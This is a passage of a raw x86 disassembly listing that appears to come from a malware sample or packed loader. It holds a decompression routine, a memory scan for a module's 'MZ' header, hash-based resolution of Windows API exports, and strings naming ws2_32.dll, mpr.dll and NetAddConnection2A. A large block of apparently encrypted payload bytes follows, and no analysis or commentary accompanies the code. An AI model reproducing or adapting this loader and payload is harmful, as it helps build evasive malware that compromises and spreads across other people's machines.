jnb short loc_4E06C8
cmp eax, 500h
jb short loc_4E06C3
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E05DB
; ---------------------------------------------------------------------------
loc_4E06C3: ; CODE XREF: sub_4E05C7+ECj
cmp eax, 7Fh
ja short loc_4E06CB
loc_4E06C8: ; CODE XREF: sub_4E05C7+E5j
add ecx, 2
loc_4E06CB: ; CODE XREF: sub_4E05C7+FFj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E05DB
; ---------------------------------------------------------------------------
loc_4E06D8: ; CODE XREF: sub_4E05C7:loc_4E05FCj
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E06F4
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E05DB
; ---------------------------------------------------------------------------
loc_4E06F4: ; CODE XREF: sub_4E05C7+119j
pop ebp
sub edi, [ebp+arg_4]
mov [ebp+var_4], edi
popa
pop ebp
retn 8
sub_4E05C7 endp
; ---------------------------------------------------------------------------
dd 77E82140h
; =============== S U B R O U T I N E =======================================
sub_4E0704 proc near ; CODE XREF: sub_4E033E:loc_4E0463p
arg_20 = dword ptr 24h
mov eax, [esp+arg_20]
sub_4E0704 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4E0708 proc near ; CODE XREF: sub_4E033E+E1p
and eax, 0FFFF0000h
add eax, 10000h
loc_4E0712: ; CODE XREF: sub_4E0708+14j
sub eax, 10000h
cmp word ptr [eax], 5A4Dh
jnz short loc_4E0712
loc_4E071E: ; CODE XREF: sub_4E033E+FDp
pusha
mov [ebp+3F8h], eax
mov edx, eax
mov ebx, eax
add eax, [eax+3Ch]
add ebx, [eax+78h]
mov [ebp+30Dh], ebx
lea ebx, [ebp+3CCh]
lea edi, [ebp+3E4h]
loc_4E0741: ; CODE XREF: sub_4E0708+4Dj
mov esi, [ebx]
mov [ebp+37Ch], esi
call sub_4E0759
stosd
add ebx, 4
cmp dword ptr [ebx], 0
jnz short loc_4E0741
popa
retn
sub_4E0708 endp
; =============== S U B R O U T I N E =======================================
sub_4E0759 proc near ; CODE XREF: sub_4E0708+41p
var_4 = dword ptr -4
pusha
mov ebx, [ebp+30Dh]
mov ecx, [ebx+20h]
add ecx, edx
loc_4E0765: ; CODE XREF: sub_4E0759+21j
mov esi, [ecx]
add esi, edx
call sub_4E079D
mov edi, 49CD75CEh
cmp eax, edi
jz short loc_4E077C
add ecx, 4
jmp short loc_4E0765
; ---------------------------------------------------------------------------
loc_4E077C: ; CODE XREF: sub_4E0759+1Cj
sub ecx, [ebx+20h]
sub ecx, edx
shr ecx, 1
add ecx, [ebx+24h]
add ecx, edx
movzx ecx, word ptr [ecx]
shl ecx, 2
add ecx, [ebx+1Ch]
add ecx, edx
mov ecx, [ecx]
add ecx, edx
mov [esp+20h+var_4], ecx
popa
retn
sub_4E0759 endp
; =============== S U B R O U T I N E =======================================
sub_4E079D proc near ; CODE XREF: sub_4E0759+10p
push edx
mov edx, 9C3B248Eh
loc_4E07A3: ; CODE XREF: sub_4E079D+1Dj
lodsb
or al, al
jz short loc_4E07BC
xor dl, al
mov al, 8
loc_4E07AC: ; CODE XREF: sub_4E079D+1Bj
shr edx, 1
jnb short loc_4E07B6
xor edx, 0C1A7F39Ah
loc_4E07B6: ; CODE XREF: sub_4E079D+11j
dec al
jnz short loc_4E07AC
jmp short loc_4E07A3
; ---------------------------------------------------------------------------
loc_4E07BC: ; CODE XREF: sub_4E079D+9j
xchg eax, edx
pop edx
retn
sub_4E079D endp
; ---------------------------------------------------------------------------
db 0A7h
dd 0F0B72551h, 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h
dd 0FD000000h, 9377E7A5h, 0D877E79Fh, 0A77E805h, 3477E798h
dd 77E79Eh, 77E600h, 540001B6h, 0F2000E0Bh, 158h, 300h
dd 2 dup(400000h), 3 dup(0)
dd 29200h, 0
dd 12FFA4h, 12FFE0h, 970000h, 1000h, 26200h, 122BEh, 28000h
dd 1E00h, 170Dh, 2A000h, 15E00h, 7428h, 64h dup(0)
dd 2000h, 8, 6 dup(0)
dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 0E0A10h, 0E09FCh, 3 dup(0)
dd 0E0AC8h, 0E0AF5h, 3 dup(0)
dd 0E0AD0h, 0E0AFDh, 3 dup(0)
dd 0E0ADBh, 0E0B05h, 3 dup(0)
dd 0E0AE8h, 0E0B0Dh, 5 dup(0)
db 6Dh ; m
db 70h, 72h, 2Eh
db 64h ; d
db 2 dup(6Ch), 0
db 77h ; w
db 73h, 32h, 5Fh
db 33h ; 3
db 32h, 2Eh, 64h
db 6Ch ; l
db 6Ch, 0, 6Fh
db 6Ch ; l
db 65h, 61h, 75h
db 74h ; t
db 33h, 32h, 2Eh
db 64h ; d
db 2 dup(6Ch), 0
db 6Bh ; k
db 65h, 72h, 6Eh
db 65h ; e
db 6Ch, 33h, 32h
db 2Eh ; .
db 64h, 2 dup(6Ch)
db 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 0B2ACh
db 71h ; q
align 4
db 0
db 22h, 41h, 0ABh
db 71h ; q
align 4
db 0
db 25h, 18h, 12h
db 77h ; w
align 4
db 0
db 6, 0D7h, 0E6h
db 77h ; w
align 4
db 0
db 2 dup(0), 57h
aNetaddconnecti db 'NetAddConnection2A',0
align 4
db 0
aVariantchanget db 'VariantChangeTypeEx',0
db 2 dup(0), 52h
aAiseexception db 'aiseException',0
align 4
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh
dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh
dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch
dd 847C62C8h, 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah
dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h
dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah
dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h
dd 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h
dd 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h
dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch
dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh
dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h
dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh
dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h
dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h
dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch
dd 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch
dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h
dd 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h
dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h
dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh
dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh
dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh
dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh
dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h
dd 20670AA9h, 3E5A250Bh
dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h
dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h
dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h
dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh
dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh
dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h
dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h
dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h
dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h
dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh
dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h
dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h
dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h
dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h
dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh
dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h
dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h
dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h
dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh
dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h
dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h
dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh
dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h
dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h
dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch
dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh
dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h
dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h
dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h
dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h, 2A7829h
dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h
dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh
dd 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h
dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h
dd 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h
dd 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h
dd 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h
dd 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh
dd 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh
dd 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h
dd 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h
dd 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch
dd 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h
dd 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh
dd 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h
dd 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h
dd 381272h, 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h
dd 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h
dd 62410068h, 0C131A990h
dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh
dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h
dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h
dd 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h, 1489313h
dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h
dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h
dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h
dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h
dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh
dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h
dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h
dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h
dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h
dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h
dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h
dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h
dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h
dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh
dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch
dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh
dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h
dd 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h
dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h
dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h
dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h
dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h
dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h
dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh
dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah
dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h
dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh
dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h
dd 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh
dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h
dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh
dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh
dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch
dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h
dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh
dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h
dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h
dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h
dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh
dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h
dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh
dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h
dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh
dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh
dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h
